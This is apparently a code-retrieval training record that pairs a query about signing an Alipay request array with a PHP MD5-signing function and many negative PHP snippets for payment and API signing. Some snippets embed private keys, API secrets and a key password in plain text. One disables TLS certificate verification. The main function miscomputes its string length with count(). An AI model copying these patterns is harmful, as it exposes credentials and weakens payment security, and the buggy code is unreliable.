}" ]
[ "0.7200531", "0.7042512", "0.66205716", "0.64848757", "0.63094985", "0.62719214", "0.6264995", "0.6262125", "0.6199911", "0.6195939", "0.6125707", "0.6125707", "0.61176383", "0.60681444", "0.6056931", "0.6028596", "0.59498864", "0.5935764", "0.5907497", "0.58823055", "0.58805126", "0.5877507", "0.587594", "0.5864719", "0.58590525", "0.58570874", "0.5857008", "0.58387583", "0.5833307", "0.58309555", "0.5792229", "0.5780773", "0.5747796", "0.57402265", "0.5725254", "0.5723543", "0.5714474", "0.5681922", "0.5656498", "0.56363934", "0.5622878", "0.56220293", "0.5611389", "0.56001127", "0.55885303", "0.55881035", "0.5584739", "0.55777323", "0.5576378", "0.55749273", "0.5563414", "0.55597633", "0.55484897", "0.5544997", "0.5541484", "0.55362135", "0.55342335", "0.5509384", "0.5507167", "0.54851377", "0.5476415", "0.547237", "0.54715127", "0.54591185", "0.54512495", "0.54511863", "0.5423752", "0.5423752", "0.5423752", "0.54063636", "0.5402298", "0.53933734", "0.5372818", "0.53665054", "0.5366226", "0.53637654", "0.53591466", "0.53540593", "0.5349922", "0.5347107", "0.53424084", "0.534178", "0.53385377", "0.53366244", "0.5336468", "0.5331138", "0.53297365", "0.5322037", "0.53184944", "0.5314327", "0.53125817", "0.5306856", "0.53028774", "0.5302471", "0.53019005", "0.53019005", "0.53019005", "0.5301405", "0.53007036", "0.5291147" ]
0.69478405
2
Sign a array before send request to alipay
private function sign($fields) { $temp = array(); while (list ($key, $val) = each($fields)) { if ($key == "sign" || $key == "sign_type" || $val == "") continue; else $temp[$key] = $fields[$key]; } $fields = $temp; unset($temp); ksort($fields); reset($fields); $signString = ""; while (list ($key, $val) = each($fields)) { $signString .= $key . "=" . $val . "&"; } $signString = substr($signString, 0, count($signString) - 2); $sign = md5($signString . $this->ifSet($this->meta['key'])); $fields['sign'] = $sign; $fields['sign_type'] = "MD5"; return $fields; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function sign(array $args);", "public function sign()\n {\n }", "public function signParams($params) {\n $signing = '';\n $values = array();\n\t\t$secret = $this->getSecret();\n ksort($params);\n foreach($params as $key => $value) {\n\t\t\t$signing .= $key . $value;\n\t\t\t$values[] = $key . '=' . urlencode($value);\n }\n $values[] = 'api_sig=' . md5($secret . $signing);\n return implode('&', $values);\n }", "public function encrypt($signArr=array()){\n // $Aes->set_key(C(\"key\"));\n // $encode = $Aes->encrypt(json_encode($signArr));\n // \\Think\\Log::write('接口返回数据:'.json_encode($signArr),\\Think\\Log::INFO);\n // return $encode;\n return $signArr;\n }", "public function getSigns();", "private function generate_signature()\n {\n $phrase = implode('', func_get_args());\n /**\n * Sign data and make final signature\n */\n $signature = '';\n $private_key_id = openssl_pkey_get_private($this->private_key);\n if (!openssl_sign($phrase, $signature, $private_key_id, OPENSSL_ALGO_SHA1)) {\n throw new BankException('OPEN SSL SIGN ERROR');\n }\n\n return $signature;\n }", "public function getSign($fields)\n {\n }", "private function GenerateSignData()\n {\n $sign_data = [\n isset($this->form_parameters['merchantId']) ? $this->form_parameters['merchantId'] : '',\n isset($this->form_parameters['orderRef']) ? $this->form_parameters['orderRef'] : '',\n isset($this->form_parameters['currCode']) ? $this->form_parameters['currCode'] : '',\n isset($this->form_parameters['amount']) ? $this->form_parameters['amount'] : '',\n isset($this->form_parameters['payType']) ? $this->form_parameters['payType'] : '',\n isset($this->form_parameters['secureHashSecret']) ? $this->form_parameters['secureHashSecret'] : '',\n ];\n\n return implode('|', $sign_data);\n }", "function payment_sign($query, $api_key) {\n $clear_text = '';\n ksort($query);\n foreach ($query as $key => $value) {\n if (substr($key, 0, 2) === \"x_\") {\n $clear_text .= $key . $value;\n }\n }\n $hash = hash_hmac(\"sha256\", $clear_text, $api_key);\n return str_replace('-', '', $hash);\n }", "public static function genSign($array){\n // 获取排序\n ksort($array);\n $stringA = \"\";\n foreach($array as $key => $val){\n if($val != NULL){\n $stringA = $stringA . \"$key=$val&\";\n }\n }\n $mch_key = WxAppInfo::get(1)->mch_key;\n $stringA = $stringA . \"key=$mch_key\";\n return strtoupper(md5($stringA));\n }", "private function sign ($postbody = '')\n\t{\n\t\t$get = array ();\n\t\t$get['time'] = time ();\n\t\t$get['random'] = mt_rand ();\n\t\t$get['reseller'] = CWRESELLER_RESELLER_ID;\n\n\t\t$json = implode (',', $get) . '|' . $postbody;\n\n\t\t$privatekey = openssl_get_privatekey ('file://' . CWRESELLER_PRIVATE_KEY);\n\n\t\t$signature = null;\n\t\topenssl_sign ($json, $signature, $privatekey);\n\n\t\t$get['signature'] = base64_encode ($signature);\n\t\t$get['debug'] = isset ($_GET['debug']) ? 1 : 0;\n\n\t\treturn $get;\n\t}", "protected function sign($operation) {\r\n\t\r\n\t\t$params = array(\r\n\t\t\t'AWSAccessKeyId' => $this->accesskey,\r\n\t\t\t'Timestamp' => gmdate('Y-m-d\\TH:i:s.000\\Z'),\r\n\t\t);\r\n\r\n\t\t$sign_str = 'AmazonS3' . $operation . $params['Timestamp'];\r\n\t\t\r\n\t\t$params['Signature'] = base64_encode(hash_hmac('sha1', $sign_str, $this->secretkey, TRUE));\r\n\t\t\r\n\t\treturn $params;\r\n\t}", "public function sign() {\n header('Content-type: application/json');\n $sign = Signer::sign(input(\"document_key\"), input(\"actions\"), input(\"docWidth\"), input(\"signing_key\"), true);\n if ($sign) {\n exit(json_encode(responder(\"success\", \"Alright!\", \"Document successfully saved.\",\"reload()\")));\n }else{\n exit(json_encode(responder(\"error\", \"Oops!\", \"Something went wrong, please try again.\")));\n }\n \n }", "public function storeTypeList(Request $request){\n// echo \"<pre>\";print_r($c);die;\n// $c->gatewayUrl = \"https://openapi.alipay.com/gateway.do\";\n// $c->appId = \"2017022005778017\";\n// $c->rsaPrivateKey = 'MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCqLzSzP0JGPdwvriKNX5pLnC3eMcljMi0DyPKPLkL1eF8d/die1x+XpxFdCCrOKFjtP9/idSpG35Nl79T0GANijGldpQHR+e5ClH8zrKM2AjdMAyrYfsohyLUj0TeacXWvUZjPR4h+33u/CZggP1XqqsmN/+oAcMqmbS8eFyq+u1r2j5cVWXnM/qgNfWdnCYHqOMEY3BhvAvRrHFVoxADBTh3CJOGjt1IcVycbB/kOBri/RLANYqx6unKdfqRtlgUvaPRyj4rwBpuN3SwJTpmspg/hsQDZhJhTssMSwC9w4O3muArws0efDTmvg4+QUszsRUexlm5JJ15SHau/s6fhAgMBAAECggEBAJEyw2jnYPkjEDiR/qLV3YQDFVNM8QC0L5naGbE1jCV49NZW3TnwWuD9xp+0Nyk7XVvWMoM46cAcQtsm+27jCghLuh4OiXYIIlMl9T02Xu3WiC1PSn/59SVL49hSSXl4sirJmHHJG1j7/c1pNyTURM55totzu8dydEP4RcoLhAnD1Gkl3PPWQx5psTVKR99xld23Ukw+MyaZX6iw9X1uQ3EidhCLMwTIb/0CXDCHbh/TA215BfA9cY/s+NlnJ4hYOTgE4CxORRoS4Z4lEP0Wvh1tLnBZDdj80qo73K8O6bLAMtAZHj09U7ky/8QkKy3OO0G+qplT0MKhEzsxi8BIxt0CgYEA5D0H7RdBwWt6t8R64aupHLpGu4ZvyE6oPHYUU9kDniPCMKgXOfCvAZCFqKiq0BH5pNrmtsxBWexwtTOm/4HSLNXJoixw2AEgcVRXyhbPI6+0sJ8rwR+p5Hl8kvzMRXsc91EsLY1OP1e6Jv3Sek1+dzVXzbkMpKNCZhsZ6habgOMCgYEAvuJ38i03h/BHe51OAV9OzuxtXPrSUnB7lLxC2eWyrG5HpLHX+uzYnRJbYUmdDrn2KWmsdE5n3MoBhrM6qmmoZSlceedMuAzdWTCH0VROmE1er6KrM+ng4DPvsebFFl4D/5fSdjsvS8xRiOvBSNKnGHg+0/yCp3fo8bsOXWY/Y2sCgYEAvlkMADbSNz6tBRAPL6BblMLh9Mlk9phrBKmxwFAQDVZjQPMfE8pgGhzu679nXcpv+oY5viBRLG7dfLHMR/F8WLofxGnt3qfp57pg0QD+1hNWzaqh8hm3Nf3/4BKHRjcr7DM9dewQYxGGBbjQTgHNRBwv0znOioxB9ygJD8q0++MCgYEAgqJUeh2t2k97bEK8Zr4GHiC5u59AHwEx4hlxGtRTEiSqzTCU4foDSIOOnCcX4EMuDyttxW7/L5/jqX6xUHzcrNbAngDIhVDwjyBiYsTywNJ6UXLe/bk6l9WTXcnT6bnPvLT3aMiaVqJuzmihr6fSiTGJteQiul+awQxGCW93RB8CgYBjV0zCngYruutn9Sc2x4rh/KRwywjYUYtKE78ajQGUA/5Qd3/v2Ux7f/fJU/+B5jn9Ht5bfLm11bJMcsRyNXl3oxRZQvAnRpMAej4ajw0UEnYusApHa1RR4IR8pLjj6rGDmCu1f/OUg7QKWA1nIh536zfrvclquF6BYujaIld8pA==' ;\n// $c->format = \"json\";\n// $c->charset= \"GBK\";\n// $c->signType= \"RSA2\";\n//\n////实例化具体API对应的request类,类名称和接口名称对应,当前调用接口名称:alipay.open.public.template.message.industry.modify\n// $request = new \\AlipayOpenPublicTemplateMessageIndustryModifyRequest();\n////SDK已经封装掉了公共参数,这里只需要传入业务参数\n////此次只是参数展示,未进行字符串转义,实际情况下请转义\n// $request->setBizContent = \"{\" +\n// \" \\\"primary_industry_name\\\":\\\"IT科技/IT软件与服务\\\",\" +\n// \" \\\"primary_industry_code\\\":\\\"10001/20102\\\",\" +\n// \" \\\"secondary_industry_code\\\":\\\"10001/20102\\\",\" +\n// \" \\\"secondary_industry_name\\\":\\\"IT科技/IT软件与服务\\\"\" +\n// \" }\";\n// $response= $c->execute($request);\n//\n// dd($response);\n// $a = $c ->echoDebug('123');\n// echo \"<pre>\";print_r($a);die;\n\n if($request->ajax()){\n //获取要搜索的字段\n $params = ['id'=>'string','name'=>'string'];\n $search_params = $this->getInput([],$params,$request);\n\n //获取要排序的字段 默认按创建时间倒序\n $sort = Input::get('sort','created_at');\n $order = Input::get('order','desc');\n\n //要返回的数组\n $arr = ['total'=>0,'rows'=>[]];\n\n //数据获取与处理\n $goodsType = new GoodsType();\n $goodsTypeCount = new GoodsType();\n $query = $goodsType->select(array_keys($this->form['field']));\n foreach($search_params as $k=>$v){\n if(!empty($v)){\n if($k == 'name'){\n $query = $query->where($k,'like',$v.'%');\n $goodsTypeCount = $goodsTypeCount->where($k,'like','%'.$v.'%');\n }else{\n $query = $query->where($k,'=',$v);\n $goodsTypeCount = $goodsTypeCount->where($k,'=',$v);\n }\n }\n }\n $user = Session::get('user');\n $query = $query->where('type','=',2);\n $goodsTypeCount = $goodsTypeCount->where('type','=',2);\n $dataList1 = $query->orderBy($sort,$order)->paginate(10);\n $arr['total'] = $goodsTypeCount->count();\n $dataList1 = $dataList1->toArray();\n\n //显示隐藏\n foreach ($dataList1['data'] as $key=>$row){\n foreach($this->form['field'] as $k=>$item){\n if($k == 'pid'){\n $goodsType = GoodsType::find($row[$k]);\n if( $row[$k]){\n $arr['rows'][$key][$k] = $goodsType->name;\n }else{\n $arr['rows'][$key][$k] = '商城';\n }\n }elseif($k == 'pic'){\n if(!empty($row[$k])){\n $arr['rows'][$key][$k] = '<a href=\"/'.$row[$k].'\" target=\"_blank\">'.$row[$k].'</a>';\n }else{\n $arr['rows'][$key][$k] = '-';\n }\n }else{\n $arr['rows'][$key][$k] = $row[$k];\n }\n }\n }\n return response()->json($arr);\n }else{\n return view('admin/common/list',['title'=>WEBNAME.' - 商品类型列表','form'=>$this->form]);\n }\n }", "function sign($param,$key){\n\n $sign = \"\";\n foreach($param as $k => $v){\n $sign .= $k.\"=\".$v.\"&\";\n }\n\n $sign .= \"key=\".$key;\n $sign = strtoupper(md5($sign));\n return $sign;\n\n}", "protected function sign(array $data, $hashType, $returnData = false)\n {\n $data = array_change_key_case($data);\n ksort($data);\n\n foreach ($data as $key => $value) {\n if ($value === null) {\n $data[$key] = '';\n }\n }\n\n $string = http_build_query($data, null, '&');\n $signature = $this->hash($string.$this->secret, $hashType);\n\n if ($returnData) {\n $data['client_id'] = $this->clientId;\n $data['signature'] = $signature;\n\n return $data;\n } else {\n return $signature;\n }\n }", "function get_signable_parameters($params){\n $sorted = $params;\n ksort($sorted);\n\n $total = array();\n foreach ($sorted as $k => $v) {\n if ($k == 'oauth_signature') {\n continue;\n }\n\n $total[] = rawurlencode($k) . '=' . rawurlencode($v);\n }\n return implode('&', $total);\n }", "public function authorizePayment(array $data) {\n }", "protected function generateSignature()\n {\n // set the expire time to 5 minutes\n $expires = time() + 300;\n\n // put the parameters in a different line\n $stringToSign = $this->accessID.\"\\n\".$expires;\n\n // get the binary output of the hmac has\n $binarySignature = hash_hmac('sha1', $stringToSign, $this->secretKey, true);\n\n // Base64-encode and url-encode\n $urlSafeSignature = urlencode(base64_encode($binarySignature));\n\n return array('expires' => $expires, 'signature' => $urlSafeSignature);\n }", "public function signedCall(string $method, array $params = [], SessionInterface $session = null, $requestMethod = 'GET'): array;", "protected function sign()\n {\n trigger_error(\"Not implemented\", E_ERROR);\n }", "public function signOptions($secret, $options)\n {\n\n \t// just in case options was already signed\n \tunset($options['api_sig']);\n \t\n \t$phrase = \"\";\n \tksort($options);\n \tforeach($options as $k=>$v)\n \t\t$phrase .= \"$k$v\";\n \t\t\n \t$apiSig = md5($secret . $phrase);\n \t$options['api_sig'] = $apiSig;\n \treturn $options;\n }", "protected static function _sign($parameters)\n\t{\n\t\t// Fixup our private key, copy-pasting the key might lead to whitespace faults\n\t\tif(!preg_match('/-----BEGIN (RSA )?PRIVATE KEY-----(.*)-----END (RSA )?PRIVATE KEY-----/si', Transip_ApiSettings::$privateKey, $matches))\n\t\t\tdie('<p>Could not find your private key, please supply your private key in the ApiSettings file. You can request a new private key in your TransIP Controlpanel.</p>');\n\n\t\t$key = $matches[2];\n\t\t$key = preg_replace('/\\s*/s', '', $key);\n\t\t$key = chunk_split($key, 64, \"\\n\");\n\n\t\t$key = \"-----BEGIN PRIVATE KEY-----\\n\" . $key . \"-----END PRIVATE KEY-----\";\n\n\t\t$digest = self::_sha512Asn1(self::_encodeParameters($parameters));\n\t\tif(!@openssl_private_encrypt($digest, $signature, $key))\n\t\t\tdie('<p>Could not sign your request, please supply your private key in the ApiSettings file. You can request a new private key in your TransIP Controlpanel.</p>');\n\n\t\treturn base64_encode($signature);\n\t}", "public static function signWithoutToHex($params,$unSignKeyList) {\n\t\tksort($params);\n \t\t$sourceSignString = SignUtil::signString ( $params, $unSignKeyList );\n \t\t//echo \"sourceSignString=\".htmlspecialchars($sourceSignString).\"<br/>\";\n \t\t//error_log(\"=========>sourceSignString:\".$sourceSignString, 0);\n \t\t$sha256SourceSignString = hash ( \"sha256\", $sourceSignString);\t\n \t\t//error_log($sha256SourceSignString, 0);\n \t\t//echo \"sha256SourceSignString=\".htmlspecialchars($sha256SourceSignString).\"<br/>\";\n return RSAUtils::encryptByPrivateKey ($sha256SourceSignString);\n\t}", "protected function sign(&$data)\n {\n $data['affiliateUserName'] = $this->username;\n $data['affiliatePassword'] = $this->password;\n }", "public function savedata(Request $req){\n \n /* All Required Parameters by your Gateway will differ from gateway to gateway refer the gate manual */\n \n $txnid = substr(hash('sha256', mt_rand() . microtime()), 0, 20);\n $hashSequence = \"key|txnid|amount|productinfo|firstname|email|udf1|udf2|udf3|udf4|udf5|udf6|udf7|udf8|udf9|udf10\";\n\n $hashVarsSeq = explode('|', $hashSequence);\n $hash_string = '';\t\n\tforeach($hashVarsSeq as $hash_var) {\n $hash_string .= isset($posted[$hash_var]) ? $posted[$hash_var] : '';\n $hash_string .= '|';\n }\n\n $hash_string .= 'TrxgYYoPbH';\n\n $amount = $req['amount'];\n $firstname = $req ['firstname'];\n $email = $req ['email'];\n $phone = $req ['phone'];\n\n $hash = strtolower(hash('sha512', $hash_string));\n\n \n $parameters = [\n 'key' => '9Dkhrlk5',\n 'txnid' => $txnid,\n 'surl'=> \"https://chaalagas.com/cng\",\n 'furl'=> 'lpgdomestic',\n 'amount' => $amount,\n 'firstname' => $firstname ,\n 'email' => $email,\n 'phone' => $phone,\n 'productinfo' => 'Security Guard Application Form Fees',\n 'amount'=> $amount\n ];\n \n $order = Indipay::prepare($parameters);\n return Indipay::process($order);\n\n $candidate = new securityappmodel;\n $candidate->firstname = $req ['firstname'];\n $candidate->middlename= $req ['middlename'];\n $candidate->lastname= $req ['lastname'];\n $candidate->mothername = $req ['mothername'];\n $candidate->fathername= $req ['fathername'];\n $candidate->mobile= $req ['phone'];\n $candidate->email= $req ['email'];\n $candidate->dob= $req ['dob'];\n $candidate->caste= $req ['caste'];\n $candidate->aadharnumber= $req ['aadharnumber'];\n $candidate->maritalstatus= $req ['maritalstatus'];\n $candidate->state= $req ['state'];\n $candidate->district= $req ['district'];\n $candidate->thesil= $req ['thesil'];\n $candidate->permanentaddress= $req ['permanentaddress'];\n $candidate->currentaddress= $req ['currentaddress'];\n $candidate->education= $req ['education'];\n $candidate->percentage= $req ['percentage'];\n $candidate->experience= $req ['experience'];\n $candidate->jobdivision= $req ['jobdivision'];\n $candidate->jobdistrict= $req ['jobdistrict'];\n $candidate-> save();\n\n $ref = $candidate->id;\n $name= $candidate->firstname;\n $candidate->referenceid = \"CGPLSG2021100$ref\";\n $newref = $candidate->referenceid;\n $candidate->save();\n\n\n return redirect(\"/\")->with('alert','Dear'.$name.' your Application is Successfully Submitted and Your Reference Nuber is'. $newref);\n \n }", "public function tokensAuth($array)\n {\n $data = $this->validateData($array, ['Amount', 'Currency', 'AccountId', 'Token']);\n\n return $this->request([\n 'url' => '/payments/tokens/auth',\n 'data' => $data,\n ]);\n }", "public function sendPaymentRequest(array $data){\n //start variables preparation\n $client_id = Mage::helper('sign2pay')->getSign2payClientId();\n $client_secret = Mage::helper('sign2pay')->getSign2payClientSecret();\n\n $quote = Mage::helper('sign2pay')->getQuote();\n\n $ref_id = Mage::getSingleton('checkout/session')->getSign2PayCheckoutHash();\n\n $request_body = array(\n 'client_id' => $client_id,\n 'amount' => Mage::helper('sign2pay')->getPaymentAmount(),\n 'ref_id' => $ref_id,\n 'token' => $data['access_token']['token']\n );\n //end variables preparation\n\n /*==========================================start request preparation==========================*/\n $client = new Varien_Http_Client('https://app.sign2pay.com/api/v2/payment/authorize/capture');\n $client->setMethod(Varien_Http_Client::POST);\n\n $client->setAuth($client_id,$client_secret);\n $client->setParameterPost($request_body);\n try {\n $response = $client->request();\n return $response->getBody();\n } catch (Zend_Http_Client_Exception $e) {\n Mage::logException($e);\n }\n }", "public function signRequest(RequestInterface $request, CredentialsInterface $credentials);", "protected function signRequest(array $wheres, $secret)\n {\n ksort($wheres);\n\n $parsedWheres = http_build_query($wheres, false, '&', PHP_QUERY_RFC3986);\n\n $signature = rawurlencode(\n base64_encode(\n hash_hmac('SHA1', strtolower($parsedWheres), $secret, true)\n )\n );\n\n return $parsedWheres . '&signature=' . $signature;\n }", "function sign()\n {\n\n //Get particular key\n\n $keyResponse = $this->get('\"'.$this->id.'\"');\n\n\n if ($keyResponse){\n //Get the key version reference on Azure\n $keyID = $this->key_version;\n\n //Sign with given key\n $signResponse = $this->keyVaultKey->sign($keyID, $this->algorithm,$this->hash);\n\n\n //If success, return signature\n if ($signResponse[\"responsecode\"] == 200) {\n $signatureValue = $signResponse['data']['value'];\n $this->signature = $signatureValue;\n return true;\n }\n\n //Return signing error from Azure\n else {\n $this->keyVault_error = $signResponse[\"responseMessage\"][\"message\"];\n return false;\n }\n\n }\n\n //Return key error from Azure\n else{\n $this->keyVault_error = $keyResponse[\"responseMessage\"][\"message\"];\n return false;\n\n }\n\n }", "private function encodeRequest()\n {\n $request = array('receipt-data' => $this->getReceiptData());\n\n if (!is_null($this->_sharedSecret)) {\n\n $request['password'] = $this->_sharedSecret;\n }\n\n return json_encode($request);\n }", "public static function verSign($array, $sign){\n if($sign == WxApi::genSign($array)){\n return true;\n }else{\n return false;\n }\n }", "function makePayment($arr) {\n\t$accessToken = \"eYgzn2wfvScb1aIf3QLs\";\n\t$merchantNumber = \"T511564901\";\n\t$secretToken = \"1qcvgmCNmSvP1ikAG38uSoAPr7ePByuMcWuMWKsa\";\n\n\t$apiKey = base64_encode(\n\t\t$accessToken . \"@\" . $merchantNumber . \":\" . $secretToken\n\t);\n\n\t$checkoutUrl = \"https://api.v1.checkout.bambora.com/sessions\";\n\n\t$request = array();\n\t$request[\"order\"] = array();\n\t$request[\"order\"][\"id\"] = $arr['orderID'];\n\t$request[\"order\"][\"amount\"] = $arr['amount'];\n\t$request[\"order\"][\"currency\"] = \"NOK\";\n\n\t$request[\"url\"] = array();\n\t$request[\"url\"][\"accept\"] = $arr['acceptURL'];\n\t$request[\"url\"][\"cancel\"] = $arr['cancelURL'];\n\t$request[\"url\"][\"callbacks\"] = array();\n\t$request[\"url\"][\"callbacks\"][] = array(\"url\" => $arr['callbackURL']);\n\n\t$requestJson = json_encode($request);\n\n\t$contentLength = isset($requestJson) ? strlen($requestJson) : 0;\n\n\t$headers = array(\n\t\t'Content-Type: application/json',\n\t\t'Content-Length: ' . $contentLength,\n\t\t'Accept: application/json',\n\t\t'Authorization: Basic ' . $apiKey\n\t);\n\n\t$curl = curl_init();\n\n\tcurl_setopt($curl, CURLOPT_CUSTOMREQUEST, \"POST\");\n\tcurl_setopt($curl, CURLOPT_POSTFIELDS, $requestJson);\n\tcurl_setopt($curl, CURLOPT_URL, $checkoutUrl);\n\tcurl_setopt($curl, CURLOPT_RETURNTRANSFER, true);\n\tcurl_setopt($curl, CURLOPT_HTTPHEADER, $headers);\n\tcurl_setopt($curl, CURLOPT_FAILONERROR, false);\n\tcurl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);\n\n\t$rawResponse = curl_exec($curl);\n\t$response = json_decode($rawResponse);\n\t\n\treturn $response;\n}", "public function createInvoice()\n {\n //seccion para registrar certificaos relacionados con un RFC \n /* $params = [ \n 'Rfc' => 'AAA010101AAA',\n 'Certificate' => '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',\n 'PrivateKey' => 'MIIFDjBABgkqhkiG9w0BBQ0wMzAbBgkqhkiG9w0BBQwwDgQIAgEAAoIBAQACAggAMBQGCCqGSIb3DQMHBAgwggS9AgEAMASCBMh4EHl7aNSCaMDA1VlRoXCZ5UUmqErAbucRBAKNQXH8tz2zJ7hdZaOZx7PEfMiWh5Nh6e8G8kxY+GW4YCSbLxslkhBtfTR6v5JYv3vhgH7XzMCwJPOfX6gxeeCYZ4HTdDNAyBVCjTbJpqbo778ri33o+I4yx7zgMqA3mzVE61re6MPrGXh1YT/K9zZeEdmwvXQfPs9VnioKUhiswoMcJ3kc3FxGLrEAsjQqv/ZVOHPY3NrbcfpQUyprsCKv3rRdxkIRdMPY4eiA720mffzvDqyzeQ8xfwHTE8Xjunja4KXvW/mV7ItTH0vRXHc3HJQ0dNnyawXmbC1FiYbCVdswoYuVQmslvq3QEXUGwP3KYfxQzKatnU7nprkmsipPqPBqDrzqc6NSN/8rxIc5zTAL4bFul+CEKz9VybwdavgewEy7u3fPnKPN+y4HilNgmlbtS7seWpbIgVPA+woG2Ph5hsgREXZCjGKSRuI77/FLcI5CMrZR+FvbnaqG+gXDBTz2lWhK9pmWlVawT2pvfiHOLzYRf2YyuVbJ79D2EgbUKyp3kCQ6fddMzspPhD/pvLQizExeyIxImb/kQXs2mmtDnyFIsj4Hcn5wCcs+SDIj+FJnwRiKB6YfdzjIig/ZMfpgMpl0u69LX649uL318o+Hy3d5t3wxgSkTaJ5McKhWyh9x9vlHZhYyM6HArBNfP9cGF86M3GwAMHAiJQl9UevyKe6rlvAIDlop6l3M02m5hHUXUpPjz4j7inFXZzvSv0tFoSbEqGgno0Pa+0gWHqRwBEGLGEwHVfyEy+Of8g4+0jzo0jNPIcurA5xRh9HSRSAd3kdEhx75eeVL7lBdLjRUkbtRtg7nelSjqAX7tQZK6Awp5C/17W96+f/vtjB+Y+ZgrSUjnQDADnZCnapIrzHgE3ZanhGAtnMMl+o4aLd1+74inG4jht/GJB60raSQfYrDrM3kBs0oyfpbEk5TI8ISzRlRmejv+mqpTogJaAqhnLP7rAli3d4pRhUjbACn/xQSFKxl2OURdmnMlvlbb6pleXviJHRxzPPQ25NVdWvmCYWrDfAZYn8X1sABOdyrth38BfmAVsyyPATYFB+5cXuNIZkPz1swz3859iZWTn5JRfPEAGICu5G6w6nrgOLYM9UqOPmxofzEdiEPafLQ5orMxdSWF6+3mD2Yw/VP+B43B/oYehgfrYjBUJt2D04VU/v8XK1ZUVgX/Co0odcdcszAP+ljQ7UVhW+uxVMd2sEprwepPPjYT3HvdI6RBB94yYBWfkoCSo/jsrrRpw2DVEyvoDp/hOXKyt8Y/8UGLCxJUhhv5fEiezYnlUAmwAGjgZfzfAErx0gkQFBgNKglEA7jz0Dqc2Z92pGVGTyPtXqRsqX3IYX5WsZVUoJim0wI7+LNmKpu147ePC0G4Sf4AGoZyPWVXq2SZSPpN261pIKSoLEDeA8WIKj2U5JG2DMMYokV0bZ1TsabrwHvwsp3muLnaP8L+n2fBplbhAEE2buBXvsATixMGu57ZI5WKFLnHn4KIBrZzALCtGehfFbCsdf1nBR6aAt+BpWhhZki54fZTurgMr6zuC5hAaP4rExW+LCc3upHMW7R9DcHWaZuZIfwnVDImnAQ9UOsz+A=',\n 'PrivateKeyPassword' => '12345678a'\n ];\n $lstNameIds = $this->facturama->post('api-lite/csds', $params ); */\n\n\n $params = [\n \"Issuer\" => [\n \"FiscalRegime\" => \"601\",\n \"Rfc\" => \"AAA010101AAA\",\n \"Name\" => \"EXPRESION EN SOFTWARE\"\n ],\n \"Receiver\" => [\n \"Name\" => \"Entidad receptora\",\n \"CfdiUse\" => \"P01\",\n \"Rfc\" => \"AAA010101AAA\"\n ],\n //agregado NO \n 'Folio' => '102',\n \"CfdiType\" => \"I\",\n \"NameId\" => \"1\",\n \"ExpeditionPlace\" => 